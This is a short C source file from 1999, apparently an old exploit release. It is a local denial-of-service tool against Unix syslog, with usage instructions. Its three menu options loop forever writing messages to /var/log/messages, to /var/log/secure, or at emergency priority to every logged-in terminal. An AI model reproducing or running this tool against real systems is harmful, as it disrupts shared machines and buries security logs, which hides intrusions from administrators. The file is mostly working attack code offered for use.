/*
    local d0s against system loggers....
    cc -O wyjeb.c -o wyjeb
    ./wyjeb
    options:
    1) small d0s --- sends random messages to /var/log/messages
    2) ----------------------||-------------- /var/log/secure & tty's
    3) MEGA ROZJEBKA ;) ---- smash the system...

    works on linux RedHat and other systems which have something like this
in
    /etc/syslog.conf :
    *.emerg                                                 *
    As far as I know Slackware is safe ... so better check your
syslog.conf
    and verify it...

    written by m0rBIuS of zoom.rotator
    rozpark@abis.lodz.pl
    13.01.1999

*/
#include <stdio.h>
void messages()
{
        char buff[256] = { random() } ;         // 6 means LOG_INFO
        syslog(6 ,buff ) ;                      // in <sys/syslog.h>
}

void secure()
{
        char buff[256] = { random() } ;         // 4<<3 means LOG_AUTHPRIV
        syslog(4<<3 , buff) ;                   // in <sys/syslog.h>
}


void wyjeb()
{
        char buff[256] = { random() } ;         // 0 means LOG_EMERG
        syslog(0 , buff ) ;                     // in <sys/syslog.h>
}

main()
{
int choice ;
    printf("CHOOSE YOUR DESTINY:\n1) kill messages log = 1\n") ;
    printf("2) kill secure log = 2\n3) FUCK THIS MACHINE = 3\n");
    choice = getchar() ;
    switch(choice)
    {
        case '1' :
        do messages() ;
        while(1) ;

        case '2' :
        do secure() ;
        while(1) ;

        case '3' :
        do wyjeb() ;
        while(1) ;

        default :
        printf("WRONG CHOICE!!!");
        exit(-1);
    }

}

